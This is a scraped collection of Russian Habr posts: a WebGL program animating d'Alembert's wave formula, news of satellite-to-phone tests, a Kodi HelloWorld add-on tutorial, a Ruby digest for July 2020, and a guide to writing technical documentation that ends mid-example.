Полученный граф выглядит:
Таким образом, с помощью построения графа знаний мы определили на примере отдельно взятых компании, каким основным направлениям ESG уделяется пристальное внимание. Аналогичную процедуру можно провести и для других российских компаний. | https://habr.com/ru/post/567688/ | null | ru | null |
# Формула Даламбера в действии
Добрый день!
Сегодня я бы хотел Вам представить небольшую программку, которая использует формулу Даламбера:
На мой взгляд, здесь происходит смещение функции одной относительно другой, за счет чего образуется волна(wave). Аргументы функции здесь x и t, можно еще использовать и ускорение a. Две функции fi и ksi, точнее y(вместо ksi).
Программа написана с использованием браузера и WebGL.
Файл Wave.html:
```
Draw a Wave
Please use a browser that supports "canvas"
```
Вам необходимо положить webgl-utils.js webgl-debug.js cuon-utils.js к файлу Wave.html либо найти их в сети и подключить.
Файл Wave.js:
```
// Vertex shader program
var VSHADER_SOURCE =
'attribute vec4 a_Position;\n' +
'void main() {\n' +
' gl_Position = a_Position;\n' +
'}\n';
// Fragment shader program
var FSHADER_SOURCE =
'void main() {\n' +
' gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0);\n' +
'}\n';
var xx=0;
function main() {
// Retrieve element
var canvas = document.getElementById('webgl');
// Get the rendering context for WebGL
var gl = getWebGLContext(canvas);
if (!gl) {
console.log('Failed to get the rendering context for WebGL');
return;
}
// Initialize shaders
if (!initShaders(gl, VSHADER\_SOURCE, FSHADER\_SOURCE)) {
console.log('Failed to intialize shaders.');
return;
}
// Write the positions of vertices to a vertex shader
var n = initVertexBuffers(gl);
if (n < 0) {
console.log('Failed to set the positions of the vertices');
return;
}
// Specify the color for clearing
gl.clearColor(0, 0, 0, 1);
var tick = function() {
draw(gl, n); // Draw function
requestAnimationFrame(tick, canvas); // Request that the browser calls tick
};
tick();
}
function draw(gl, n) {
// Clear
gl.clear(gl.COLOR\_BUFFER\_BIT);
initVertexBuffers(gl);
// function
gl.drawArrays(gl.LINE\_STRIP, 0, n);
}
function fi(x)
{
return Math.cos(x);
}
function ksi(x)
{
return Math.sin(3\*x);
}
function Dalamber(x,t)
{
return 0.5\*(fi(x-t) + fi(x+t))+0.5\*(ksi(x+t)-ksi(x-t));
}
function initVertexBuffers(gl) {
var vertices = new Float32Array(400);
var i=0;
for(var t=-1.0;t<1.0;t+=0.01)
{
vertices[i]=t;
vertices[i+1]=Dalamber(t,xx)/2;
//document.write("x=",vertices[i],"y=",vertices[i+1]+"
");
i+=2;
}
xx+=0.01;
var n = vertices.length/2;
// Create a buffer object
var vertexBuffer = gl.createBuffer();
if (!vertexBuffer) {
console.log('Failed to create the buffer object');
return -1;
}
// Bind the buffer object to target
gl.bindBuffer(gl.ARRAY\_BUFFER, vertexBuffer);
// Write date into the buffer object
gl.bufferData(gl.ARRAY\_BUFFER, vertices, gl.STATIC\_DRAW);
var a\_Position = gl.getAttribLocation(gl.program, 'a\_Position');
if (a\_Position < 0) {
console.log('Failed to get the storage location of a\_Position');
return -1;
}
// Assign the buffer object to a\_Position variable
gl.vertexAttribPointer(a\_Position, 2, gl.FLOAT, false, 0, 0);
// Enable the assignment to a\_Position variable
gl.enableVertexAttribArray(a\_Position);
return n;
}
```
Можете поэкспериментировать с функциями fi и ksi, изменять параметры и добавлять другие функции, делать из них сумму, умножать.
Результат:
Не судите строго и благодарю за внимание!
P.S. Если выжмите мне карму в 0 хотя бы, запостю еще кое-что интересное. | https://habr.com/ru/post/545426/ | null | ru | null |
# Проведены масштабные испытания по использованию спутника в качестве сотовой вышки для обычных телефонов
Компания **Lynk Global** [сообщает](https://www.satellitetoday.com/telecom/2022/02/08/lynk-tests-connect-satellite-to-thousands-of-cell-phones-and-iot-devices/), что успешно завершены испытания по подключению ее спутника к немодифицированным устройствам на Земле - телефонам, планшетам, устройствам "интернета вещей".
Тесты были проведены в пяти странах — Багамских Островах, Канаде, Новой Зеландии, Соединенном Королевстве и Соединенных Штатах-для подключения к мобильным телефонам восьми из 10 крупнейших операторов мобильной связи в мире. Спутник подключился к 6000 устройствам, включая смартфоны, планшеты, устройства интернета вещей, легковые, грузовые автомобили и даже тракторы, обеспечивая прямое двустороннее подключение.
Отмечается, что качество соединения стало значительно лучше чем во время предыдущих испытаний.
*"Впервые в истории операторы мобильной связи получили возможность участвовать в отправке и получении информации. Независимые сторонние наблюдатели отправляли текстовые сообщения в космос и из космоса на своих собственных телефонах"*, - отмечается в сообщении.
Компания описывает свою технологию как обман сотового телефона, чтобы он "думал", что спутник - это вышка сотовой связи.
`“Автомобили сходят с конвейера со встроенными сотовыми чипами. Мы подключились к автомобилям с помощью чипов сотовых телефонов, встроенных в автомобиль. LoJack и OnStar не работают, если у вас нет сотовой связи. Теперь они будут работать везде, без изменений в вашей машине. ... Мы находимся в идеальном положении, чтобы обратиться к американским автомобильным компаниям и тракторным компаниям и предложить подключение", - заявил генеральный директор компании Lynk Global.`
Фото коллектива компании со спутником, с который работал в качестве сотовой вышки:
Это, конечно, не широкополосный интеренет. И даже не телефонный звонок через спутник. Но СМС-сообщениями через обычный телефон через спутник обмениваться можно.
**P.S.** Судя по всему, в США с 2026 года у новых автомобилей будет обязательная функция [дистанционного отключения](https://www.latimes.com/world-nation/story/2021-11-09/congress-mandates-car-technology-stop-drunk-driving). Подобная спутниковая система очень хорошо укладывается в эту перспективу.
Если сейчас [«Делимобиль» в мороз заблокировал автомобиль с пассажирами](https://habr.com/ru/news/t/648071/) под Екатеринбургом, то с этой новой системой можно оказаться в случайно заблокированном автомобиле в гораздо более удаленной точке.
*Больше материалов - в моем блоге:* [*https://t.me/IngeniumNotes*](https://t.me/IngeniumNotes) | https://habr.com/ru/post/651461/ | null | ru | null |
# Как написать скрипт HelloWorld для Kodi на Python 2.x
### 1. Введение
Напишите ваш первый скрипт для Kodi/XBMC с помощью этого урока! Если вам нужна помощь с написанием плагина, [открывайте урок](http://kodi.wiki/view/Audio-video_add-on_tutorial) .
### 2. Инструменты
Для вашего первого скрипта выбирайте текстовые редакторы notepad++ или sublime из-за их подсветки синтаксиса. Установите Kodi себе на компьютер.
URL = <http://www.sublimetext.com>
URL = <http://notepad-plus-plus.org>
### 3. Установка
Найдите git-репозиторий официального скрипта HelloWorld [здесь](https://github.com/zag2me/script.hello.world).
… и установите его в Kodi [отсюда](https://github.com/zag2me/script.hello.world/archive/master.zip) с помощью zip-файла.
### 4. Первый запуск
Откройте ваше диалоговое окно с тремя строками текста с помощью команды
Система >> Дополнения >> Мои дополнения >> Программные дополнения >> Hello World.
### 5. В папке addons
Не закрывая Kodi, откройте папку с вашим скриптом и исправьте его! В Windows она находится здесь:
```
C:\Users\user\AppData\Roaming\XBMC\addons\script.hello.world
```
Если у вас Mac, ищите ее тут:
```
/Users//Library/ApplicationSupport/Kodi/addons/script.hello.world [1]
```
### 6. Структура
addon.py — пишите здесь вашу программу на Python.
addon.xml — опишите здесь ваш скрипт.
changelog.txt — обновляйте этот текстовый файл с каждой новой версией.
icon.png — нарисуйте знак вашего скрипта в квадрате со стороной 256 или 512 пикселей.
LICENSE.txt — расскажите об авторских правах на ваш скрипт.
### 7. XML
Прежде всего укажите ID, название и версию вашего скрипта, а также имя его автора с помощью первой строки XML-файла. Придумайте уникальный ID, как на скриншоте ниже.
Объясните XBMC с помощью секции Requires, какие модули вы ходите импортировать. Упомяните там скрипт «xbmc.python».
Сообщите XBMC тип вашего скрипта с помощью «extension point». Поместите туда «executable» с помощью элемента .
Добавьте описание, сводную и лицензионную информацию с помощью крайней секции в вашем XML-файле. Вставьте туда же гиперссылки на ветку форума, исходный код, е-мейл технической поддержки.
### 8. Программа
Назовем ее addon.py. Кстати, хотите изучить Python — открывайте веб-сайт <https://www.codecademy.com/learn/learn-python>.
С помощью первых двух строк импортируем код, необходимый для запуска скрипта и вывода окна.
Далее идут строки для информирования системы о нашем скрипте и о его имени.
В строках 7, 8 и 9 начинается настоящая магия. С их помощью мы назначим значения трем переменным (line1, line2 и line3).
С помощью крайней строки покажем окно со значениями этих переменных на экране компьютера. Вместе с ними отобразим имя скрипта и сделаем кнопку ОК.
### 9. Другой код
Умея запускать ваш скрипт, понимая его структуру и зная, что он делает, изменим его!
Откройте папку с вашим скриптом, исправьте код. Будьте готовы запустить его с помощью Kodi, когда сделаете это. Для этого переключитесь между текстовым редактором и Kodi.
Поменяйте значения переменных.
> line1 = «Goodbye world!»
>
>
>
> line2 = «And welcome back»
>
>
>
> line3 = «My own Add-On!»
Сохраните файл и запустите скрипт из Kodi. Вы увидите новые строки.
Поздравляем! Теперь вы XBMC/Kodi-программист!
### 10. Заключительные соображения
Очевидно, что с помощью интерфейса Python вы получите доступ к большему числу команд Kodi, чем узнали из этого урока. Также для этого имеется интерфейс JSON.
Не стесняйтесь обсуждать этот урок на ветке форума <http://forum.kodi.tv/showthread.php?tid=209948>, если у вас есть какие-либо вопросы.
### 11. Кое-что еще
Вы можете найти другие варианты скрипта HelloWorld с помощью гиперссылки <http://kodi.wiki/view/GUI_Tutorial>.
### 12. Примечания
1. [Userdata](https://kodi.wiki/view/Userdata) | https://habr.com/ru/post/555386/ | null | ru | null |
# Ruby Digest 2020·07·1
Ruby Digest 2020 с 1 по 15 июля: релизы, статьи, мультимедиа, обучение. Разбираемся,
что происходило в первой половине июля вокруг языка Ruby.
Релизы
------
#### Новинки
[AnyCable 1.0.0](https://github.com/anycable/anycable/tree/v1.0.0) — мультиязыковая замена Ruby WebSocket-гемов, которая позволяет использовать WebSocket серверы, написанные на других языках программирования, с протоколом Action Cable. Вместе с ним гем для [Ruby on Rails](https://rubyonrails.org/) — [AnyCable Rails 1.0.0](https://github.com/anycable/anycable-rails/tree/v1.0.0).
[aws-sdk-ivs 1.0.0](https://github.com/aws/aws-sdk-ruby/blob/master/gems/aws-sdk-ivs/CHANGELOG.md) — официальный гем от AWS для сервиса интерактивного видео [Amazon IVS](https://aws.amazon.com/ivs/). Aws-sdk-ivs является частью [AWS SDK for Ruby](https://github.com/aws/aws-sdk-ruby).
#### Новые версии
[React on Rails 12.0.0](https://github.com/shakacode/react_on_rails/tree/12.0.0) — гем для расширенной интеграции [Ruby on Rails](https://rubyonrails.org/) и [React](https://ru.reactjs.org/).
[Onebox 2.0.0](https://github.com/discourse/onebox/tree/v2.0.0) — гем для преобразования URL-адресов в простое HTML-превью ресурса.
[Capistrano::Bundler 2.0.0](https://github.com/capistrano/bundler/tree/v2.0.0) — гем для удаленного запуска команд [Bundler](https://bundler.io/)а через [Capistrano](https://github.com/capistrano/capistrano).
[Restforce 5.0.0](https://restforce.github.io/) — гем для использования Salesforce API и взаимодействия с [Salesforce](https://www.salesforce.com/).
[Prawn::Emoji 4.0.0](https://github.com/hidakatsuya/prawn-emoji/tree/v4.0.0) — гем для добавления эмодзи в pdf-документы, созданные через [Prawn](https://github.com/prawnpdf/prawn) 
#### Обновления
[Grape 1.4.0](https://github.com/ruby-grape/grape/tree/v1.4.0) — фреймворк, предоставляющий DSL для разработки RESTful API-интерфейсов и сопутствующие возможности.
[Grape-swagger 1.2.0](https://github.com/ruby-grape/grape-swagger/tree/v1.2.0) — автогенерация документации по вашему Grape API.
[Sidekiq 6.1.0](https://github.com/mperham/sidekiq/tree/v6.1.0) — фоновые обработчики для Ruby.
[Zeitwerk 2.4.0](https://github.com/fxn/zeitwerk/tree/v2.4.0) — гем для автоматической загрузки констант (классов, модулей, используется в [Ruby on Rails](https://rubyonrails.org/)).
[Capistrano::Rails 1.6.0](https://github.com/capistrano/rails/tree/v1.6.0) — гем для удаленного запуска команд [Rails](https://rubyonrails.org/) через [Capistrano](https://github.com/capistrano/capistrano).
[Dynamoid 3.6.0](https://github.com/Dynamoid/dynamoid/tree/v3.6.0) — Ruby ORM для [Amazon DynamoDB](https://aws.amazon.com/dynamodb/).
[Blacklight](http://projectblacklight.org/) [7.10.0](https://github.com/projectblacklight/blacklight/tree/v7.10.0) — открытая исследовательская платформа с пользовательским интерфейсом, позволяющая применить к вашим коллекциям поиск на основе [Solr](https://lucene.apache.org/solr/).
[GeoBlacklight 2.4.0](https://github.com/geoblacklight/geoblacklight/tree/v2.4.0) — переработанная исследовательская платформа [Blacklight](http://projectblacklight.org/) для привязки к геопространственным данным с применением [Solr](https://lucene.apache.org/solr/).
[Traject 3.4.0](https://github.com/traject/traject/tree/v3.4.0) — гем для индексации MARC или XML данных для исследовательских решений на основе [Solr](https://lucene.apache.org/solr/) (подобных [Blacklight](http://projectblacklight.org/) или [VuFind](https://vufind.org/vufind/)).
[Shopify API 9.2.0](https://github.com/Shopify/shopify_api/tree/v9.2.0) — клиент для администрирования магазинов на [Shopify](https://developers.shopify.com/).
[RSpotify 2.9.0](https://github.com/guilhermesad/rspotify/tree/v2.9.0) — обертка для [Spotify Web API](https://developer.spotify.com/documentation/web-api/).
[Ruby\_aem 3.8.0](https://github.com/shinesolutions/ruby_aem/tree/3.8.0) — клиент для [Adobe Experience Manager API](https://www.adobe.com/ru/marketing/experience-manager.html).
[Booker Ruby Client 3.4.0](https://github.com/HireFrederick/booker_ruby/tree/3.4.0) — клиент для сервиса онлайн-бронирования [Booker API](https://www.booker.com/).
Почитать
--------
[99 Bottles of OOP, Ruby Version](https://sandimetz.com/99bottles-sample-ruby) — новая книга «99 бутылок ООП, Ruby версия».
[AnyCable 1.0: Four years of real-time web with Ruby and Go](https://evilmartians.com/chronicles/anycable-1-0-four-years-of-real-time-web-with-ruby-and-go) — AnyCable 1.0: Четыре года Веба в реальном времени с Ruby и Go.
[Why is Ruby still our choice in 2020?](https://syndicode.com/2020/07/08/why-is-ruby-still-our-choice-in-2020-2/) — почему в 2020 году по-прежнему наш выбор — Ruby?
[Apollo launch: Building a migration architecture for 2U](https://evilmartians.com/chronicles/apollo-launch-building-a-migration-architecture-for-2u) — запуск Apollo: создание архитектуры миграции для [2U](https://2u.com/).
[Ruby's Safe Navigation Operator `&.` and is it a Code Smell?](https://dev.to/hkly/ruby-s-safe-navigation-operator-and-is-it-a-code-smell-4hd9) — оператор безопасной навигации ``&.`` в Ruby и не попахивает ли такой код?
Посмотреть и послушать
----------------------
[Exploring HEY's Gemfile](https://share.transistor.fm/s/31cc36e3) — исследование стека нового почтового сервиса HEY от Basecamp ([DHH’s Hey’s Gemfile](https://gist.github.com/dhh/782fb925b57450da28c1e15656779556)).
 [FullCalendar with StimulusJS](https://www.youtube.com/watch?v=0losd7Sr9Zs) — календарь для планирования со [StimulusJS](https://stimulusjs.org/).
 [Soft Delete with Discard](https://www.youtube.com/watch?v=6HnFAV4HOfI) — мягкое удаление с [Discard](https://github.com/jhawthorn/discard).
[Should Ruby Still Be a Thing in 2020](https://dev.to/devdiscuss/s1-e4-should-ruby-still-be-a-thing-in-2020) — нужен ли Ruby в 2020-ом?
[Job Searching and Hiring Advice During the Pandemic with Brian Mariani](http://5by5.tv/rubyonrails/326) — поиск работы и советы по найму во время пандемии с Брайаном Мариани.
[Rails::Engine with Vladimir Dementyev](http://5by5.tv/rubyonrails/324) — Rails::Engine с Владимиром Дементьевым.
Поизучать
---------
[Ruby on Rails 6: Learn 25+ gems and build a Startup MVP 2020](https://www.udemy.com/course/ruby-on-rails-6-learn-20-gems-build-an-e-learning-platform/) — обновленный курс «Ruby on Rails 6: изучите 25+ гемов и создайте свой MVP стартап 2020».
[System of a test: Proper browser testing in Ruby on Rails](https://evilmartians.com/chronicles/system-of-a-test-setting-up-end-to-end-rails-testing) — система тестов: правильное браузерное тестирование в Ruby on Rails.
[Something out of Nothing: Null Object Pattern](https://dev.to/hkly/something-out-of-nothing-null-object-pattern-3clm) — что-нибудь из ничего: паттерн Null Object.
[GraphQL + SQL Magic for faster downloads on Shopify](https://dev.to/arjunrajkumar/graphql-sql-magic-for-faster-downloads-on-shopify-31fc) — GraphQL + Магия SQL для ускорения загрузки на Shopify.
[Changing Ruby classes at runtime with class\_eval](https://dev.to/vinistock/changing-ruby-classes-at-runtime-with-classeval-52m) — изменение классов Ruby во время выполнения с помощью `class_eval`.
[OAuth & Heroku Play Nice](https://dev.to/annawijetunga/oauth-heroku-play-nice-443e) — налаживание OAuth и Heroku Play.
[Is module\_function really the same as extend self?](https://medium.com/rubycademy/is-module-function-really-the-same-as-extend-self-ac1e96a1cda0) — действительно ли `module_function` тоже самое, что и `extend self`? | https://habr.com/ru/post/512540/ | null | ru | null |
# 7 правил написания технической документации мирового класса
#### Введение
Написание технического документа — трудное дело. Чтение плохо написанного технического документа является более трудным и, вероятно, более болезненным делом, чем его написание. Требуется большая работа, чтобы создать ясное, точное, интересное техническое описание. Поэтому, чтобы сделать жизнь хоть немного проще для всех участвующих сторон, я хотел бы поделиться с вами семью правилами, которым я следую, создавая техническую документацию.
Эти правила — не моё собственное изобретение. Скорее, я просто сформулировал их из того опыта, который появился благодаря общению со многими талантливыми техническими и литературными редакторами за более чем десять лет работы. Всё, что я понял в этом деле, сформировалось потому, что другие показали мне путь. У меня не находится достаточно слов, чтобы выразить им в полной мере мою благодарность.
Надеюсь, после прочтения этой статьи в вашем арсенале появятся некоторые новые инструменты, которые помогут вам создавать технические документы на новом уровне качества: более ясные, более привлекательные, менее путанные и намного более интересные для чтения. Также я добавил — без всяких каких-либо дополнительных требований к вам, как потребителю, бонус в конце статьи: описание процесса, используемого мною для создания технического описания.
Итак — эти 7 правил:
1. Скука убивает
2. Прежде чем начать, выясните точно для себя, какие действия вы ожидаете от читателя, осилившего ваш труд
3. Пишите в соответствии с правильно сформированной структурой
4. Избегайте неоднозначных местоимений
5. Ясность = иллюстрации + слова
6. Когда имеете дело с понятиями, концепциями и т.п., используйте логическую иллюстрацию и пример
7. Не опасайтесь переделок
#### 1. Скука убивает
Это правило является, по-видимому, самым трудным для формализации и самым важным по необходимости соблюдения. В современном мире интернета действует много сил, борющихся за внимание вашего читателя. Скучное стандартное описание работать не будет. При любых обстоятельствах ваш читатель желает, чтобы было увлекательно и информативно. Поэтому, если ваш текст неясный или неинтересный, то читатель просто щёлкнет пресловутую кнопку «Далее» и перейдёт на другую веб-страницу или на другую ТВ-программу или на свою страницу в Фейсбуке.
Самый простой путь, который я нашёл для пробуждения интереса у читателя, состоит в том, чтобы интересно было мне самому. Я всегда прилагаю значительные усилия, чтобы написать такую статью, которую сам хотел бы прочитать. Я стремлюсь получать удовольствие от того, что пишу. Если мне скучно, то заскучает и читатель. Если я запутался, то запутается и читатель. Если меня не волнует рассматриваемая тема, то читатель, тем более, не взволнуется. Всё очень просто!
Мне нравится юмор, поэтому я стараюсь сделать мои литературные технические «творения» забавными, но, конечно, без ущерба для ясности. Пытаюсь разговаривать с читателем, а не поучать его. Пишу о делах, которые, действительно, имеют значение для меня. Широко использую иллюстрации, чтобы предотвратить неясность для читателя.
И снова, всегда стараюсь сделать процесс чтения увлекательным. Я всегда помню, что пишу в конкурентной среде. Имеется множество контента, стремящегося привлечь внимание читателей. Таким образом, мой совет по правилу № 1: если ваши тексты будут интересны вам, то они будет интересными и для читателя.
#### 2. Прежде чем начать, выясните точно для себя, какие действия вы ожидаете от читателя, осилившего ваш труд
Техническая документация полностью завязана на последующее поведение читателя. Читатель затрачивает своё время на чтение вашего творения, потому что он или она имеет намерение сделать что-то после завершения процесса чтения. Этим «что-то» может быть [выпечка печенья с кусочками шоколада](http://allrecipes.com/recipe/best-chocolate-chip-cookies/Detail.aspx), остановка [ядерного реактора](http://www.howstuffworks.com/nuclear-power.htm/printable) или разработка [кластера Hadoop](http://developer.yahoo.com/hadoop/tutorial/module7.html). Важно помнить, что читатель использует ваше описание как средство для выполнения другого процесса. Ваш труд является неким проводником к дальнейшему вполне определённому поведению.
Поэтому чрезвычайно полезно для вас чётко определиться, какие действия вы ожидаете от читателя после завершения процесса чтения. Изложите ваше намерение с самого начала. Не оставляйте читателя гадать. Ваше заявление может быть простым и очевидным, как, например: «после прочтения данной статьи вы сможете [впишите свой вариант]». Если вы определились с действиями, ожидаемыми от читателя после прочтения, то процесс написания будет для вас легче с самого начала.
#### 3. Пишите в соответствии с правильно сформированной структурой
Хорошо сформированная структура является тем остовом, вокруг которого растёт ваш документ. Подготовка технического документа без использования некоторой структуры равносильна попытке ориентироваться в [метро Нью-Йорка](http://www.mta.info/nyct/maps/submap.htm) (469 станций!) без схемы. Вы можете оказаться где угодно, но это «где угодно» может оказаться совсем не тем местом, куда вы предполагали попасть.
Написание технической документации в соответствии со структурой не означает увеличение объёма работы. Наоборот, нагрузка уменьшается. Работая со структурой, вы знаете, откуда вы выходите и куда собираетесь прийти.
Имеются два правила структурирования, которые я всегда использую:
1. Раздел подуровня требует наличия, как минимум, одной позиции.
2. На каждом уровне структуры должно быть, как минимум, два предложения.
**Хотелось бы уточнить.** Листинг 1 внизу является примером структуры, которая нарушает первое правило: *раздел подуровня требует наличия, как минимум, одной позиции*.
Листинг 1: неправильно сформированная структура
1. Приготовление апельсиново-клюквенно-мандаринового шипучего напитка
1.1. Шаги, требуемые для приготовления шипучего напитка
1.1.1. Подготовка ингредиентов
1.1.2. Смешивание ингредиентов шипучего напитка
1.1.3. Подача шипучего напитка
Обратите внимание, что в листинге 1 уровень 1 имеет одиночный подуровень: "*1.1. Шаги, требуемые для приготовления шипучего напитка*". Такая структура является нарушением первого правила. Чтобы подуровень был правильно сформирован, в разделе должна быть, как минимум, ещё одна позиция. Другими словами, это значит, что на любом данном уровне должно быть, как минимум, два подуровня.
Посмотрите листинг 2 внизу. Обратите внимание, что у уровня 1 теперь имеются три подуровня, из которых раздел *«Смешивание ингредиентов шипучего напитка»* содержит позиции. Одиночный уровень *«Шаги, требуемые для приготовления шипучего напитка»* удалён.
Может возникнуть вопрос: «Где раздел *Шаги, требуемые для приготовления шипучего напитка»*?.. Видно, что этот раздел теперь не является позицией структуры, а перешёл в контент исходного раздела, как показано в листинге 2 внизу.
Листинг 2: правильно сформированная структура, нарушающая правило двух предложений
1. Приготовление апельсиново-клюквенно-мандаринового шипучего напитка
Раздел внизу описывает процесс, который надо соблюсти для приготовления апельсиново-клюквенно-мандаринового шипучего напитка.
1.1. Подготовка ингредиентов
1.2. Смешивание ингредиентов шипучего напитка
1.3. Подача шипучего напитка
Обратите внимание, что, хотя листинг 2 демонстрирует структуру с правильно сформированным подуровнем, в контенте раздела уровня 1 имеется только одно предложение. Присутствие одного единственного предложения в контенте раздела структуры нарушает второе правило структурирования — "*На каждом уровне структуры должно быть, как минимум, два предложения*".
Листинг 3 показывает тот же текст, но изменённый с целью обеспечить выполнение правила двух предложений.
Листинг 3: правильно сформированная структура, выполняющая правило двух предложений
1. Приготовление шипучего апельсиново-клюквенно-мандаринового напитка
Апельсиново-клюквенно-мандариновый шипучий напиток может доставить большое удовольствие в жаркий летний день. Напиток состоит из природных компонентов без искусственных ароматизаторов. Апельсиново-клюквенно-мандариновый шипучий напиток не только вкусный, но и чрезвычайно полезный!
Разделы внизу описывают процесс, который надо соблюсти для приготовления апельсиново-клюквенно-мандаринового шипучего напитка.
1.1. Подготовка ингредиентов
1.2. Смешивание ингредиентов шипучего напитка
1.3. Подача шипучего напитка
Почему я так беспокоюсь о правильной структуре и о, по крайней мере, двух предложениях на каждом уровне? Во-первых, соблюдение правила подуровня побуждает меня быть предельно чётким в логической сегментации моего труда. Следование правилу подуровня способствует также тому, что мой текст соединяет мои идеи с общей линией, которая имеет смысл и легко прослеживается.
Во-вторых, правило двух предложений требует от меня написать текст, который является привлекательным, подробным и целесообразным. При записи в «одно предложение» нередко теряются подробности. И, если не рассматривать афоризмы, текст в «одно предложение» — не самое интересное чтение.
#### 4. Избегайте неоднозначных местоимений
Неоднозначное использование местоимений является, вероятно, самой типичной причиной путаницы в практике подготовки технических описаний.
Рассмотрим абзац в листинге 4.
Листинг 4: абзац с неоднозначными местоимениями
Трафальгаборы являются базовой компонентой фрейма Вибитатов. Эта статья показывает, чем они являются и как их использовать.
Данный абзац выглядит, возможно, несколько комично, но он иллюстрирует некоторые важные точки. Во-первых, абзац пытается поставить вас на место, которое занимает читатель. Читатель желает понять, что происходит, но он незнаком с используемыми терминами. А поскольку термины непонятны, то читатель ощущает себя некомпетентным и потому уязвимым. Читателю нужна новая информация — он или она желает стать умнее. Но читатель также немного беспокоится. Допущение собственной некомпетентности, даже перед самим собой, даже на подсознательном уровне — может быть ему неприятно. Читатель болезненно чувствителен к пониманию представляемого материала. Понятия и слова, которые вы, лицо пишущее, считаете само собой разумеющимися, могут быть полностью чуждыми читателю. Одно плохо объяснённое понятие или одно слово, использованное без надлежащего разъяснения, могут подтолкнуть читателя прекратить чтение.
Применительно к абзацу вверху я не удивлюсь, если вы спросите: «Что это за штука „Трафальгабор“? А что такое „Вибитата“? О чём, вообще, этот абзац? О том, как использовать Трафальгаборы? Или о том, как использовать Вибитаты? Или о том, как использовать и те, и другие? Бред какой-то. Вернусь я лучше на свою страницу в Фейсбуке».
Если читатель при чтении вашего описания вынужден тратить время на выяснение, что же вы пытаетесь ему сообщить, то мало того, что информативный поток будет нарушен, но и читатель, скорее всего, будет запутан. Как только вы привели читателя в замешательство, вы его потеряли. Всё другое в мире, направленное на привлечение внимания вашего читателя, становится для него более притягательным, чем ваше творение. Щелчок по кнопке «Далее» — и ваша работа остаётся непрочитанной.
В листинге 4 замешательство порождается неоднозначным использованием местоимения «они» во втором предложении. К чему относится здесь «они» — к Трафальгаборам, Вибитатам или к обоим? Помните, что читатель ничего не знает, что такое Трафальгаборы или Вибитаты. (См. рис. 1 внизу.)
Рис. 1. Использование неоднозначных местоимений запутывает техническое описание
Решение проблемы простое. Посмотрите листинг 5 внизу. Неоднозначное местоимение удалено. Ясность восстановлена.
Листинг 5: устранение неоднозначных местоимений
Трафальгаборы являются базовой компонентой фрейма Вибитатов. Эта статья рассказывает, что такое Трафальгаборы и как их использовать.
Осторожно! Неоднозначное использование местоимений ведёт к техническому описанию, приводящему в замешательство.
#### 5. Ясность = иллюстрации + слова
Посмотрите на фотографию внизу. Скажите, если сможете, о чём это фото?
Я не удивлюсь, если вы будете немного растеряны. Эта фотография, действительно, озадачивает. Вы знаете все отдельные компоненты, но вам неясно, что они все вместе значат. Такова природа любой иллюстрации. Картинке без слов не хватает контекста.
При обращении к иллюстрациям читателям требуется контекст, чтобы внести ясность. Недопустимо, чтобы читатель напрасно тратил время или усилия, пытаясь выяснить, о чём же рассматриваемая графика. Самым лёгким путём устранить неясность с иллюстрациями является обеспечить их надписями.
Посмотрите на рис. 2 внизу. Он представляет собой то же самое фото. Но здесь уже нет вопроса, о чём оно.
Рис. 2. Инструменты и ингредиенты, требуемые для приготовления апельсиново-клюквенно-мандаринового шипучего напитка
Применительно к техническим описаниям я считаю полезным все иллюстрации снабжать пронумерованными описательными надписями.
Не помещайте надписи, содержащие только цифры. Используйте в надписи, как цифры, так и описательный комментарий. Также не допускайте появления изолированных иллюстраций. Изолированной иллюстрацией считается такая, которая расположена в техническом описании, но ссылка на которую в тексте отсутствует.
Вставляя иллюстрацию в ваше описание, следите за тем, чтобы сослаться на неё в тексте указанием её номера и таких слов как «выше», «вверху», «ниже», «внизу». Недопустимо вынуждать читателя при чтении вашей работы тратить время на привязку иллюстрации к тексту или на её поиск в описании. Если вы добавляете в текст, скажем, «Рис. 4», то убедитесь, что где-то в тексте сказано что-то вроде «см. рис. 4 внизу».
**Примечание**: глаз привлекают изображения
Десять лет назад я работал в группе, которая писала пользовательское руководство (под типографское издание) для очень, очень большого изготовителя компьютеров. Все руководства подвергались формальному количественному исследованию на удобство пользования. Тогда от специалистов по взаимодействию с пользователем я узнал, что, когда человек читает руководство, глаз его идёт сначала к изображениям. Лишь затем читатель смотрит на текст вокруг этого изображения. Поэтому авторы того руководства пытались обеспечить, чтобы на каждой его странице была хотя бы одна картинка.
#### 6. Когда имеете дело с понятиями, концепциями и т.п., используйте логическую иллюстрацию и пример, логическую иллюстрацию и пример
Понятия трудны для понимания — и это то, почему они называются «понятиями». Поэтому, когда мне приходится писать о каком-то общем положении — будь то [второй закон термодинамики](http://en.wikipedia.org/wiki/Second_law_of_thermodynamics), компонент методики кодирования или полнофункциональная платформа программного обеспечения, я использую следующий подход в моём описании: понятие — логическая иллюстрация — пример. Я никогда не пытаюсь ввести какое-либо понятие без подкрепления логической иллюстрацией и дальнейшим примером.
Применим это правило для описания понятия элементарной алгебры.
Понятие «транзитивность отношения равенства» представляет собой следующее:
если A = B и B = C, то A = C;
Теперь приведём логическую иллюстрацию, описывающую это понятие (см. рис. 3).
Рис. 3. Транзитивность отношения равенства является фундаментальным принципом элементарной алгебры
Листинг 6 ниже показывает несколько конкретных примеров для закрепления понимания рассматриваемого положения.
Листинг 6: некоторые конкретные примеры транзитивности отношения равенства
* Если 7 = 3 + 4 и 3 + 4 = 5 + 2, то 7 = 5 + 2;
* Если 12 + 5 = 7 + 10 и 7 + 10 = 6 + 11, то 12 + 5 = 6 + 11;
* Если x + y = z и z = 2a, то x + y = 2a.
Таким образом, правило соблюдено. Мы представили понятие «транзитивность отношения равенства», проиллюстрировали его описательным рисунком и подкрепили примерами.
Теперь рассмотрим понятие, которое ближе к разработке программного обеспечения и несколько труднее для понимания. Таким понятием является [наследование моделей объектов проекта (POM = Project Object Model) в Maven](http://maven.apache.org/pom.html) (система автоматизированной сборки проектов). Пример 1 ниже представляет рассматриваемое понятие и даёт логическую иллюстрацию, описывающую это понятие. В конце представлена ещё одна иллюстрация, показывающее конкретное использование POM-файлов в ситуации наследования.
Пример 1: выдержка из технического описания наследования моделей объектов проекта (POM) в Maven (система автоматизированной сборки проектов)
> Представление наследования POM-файла
>
>
>
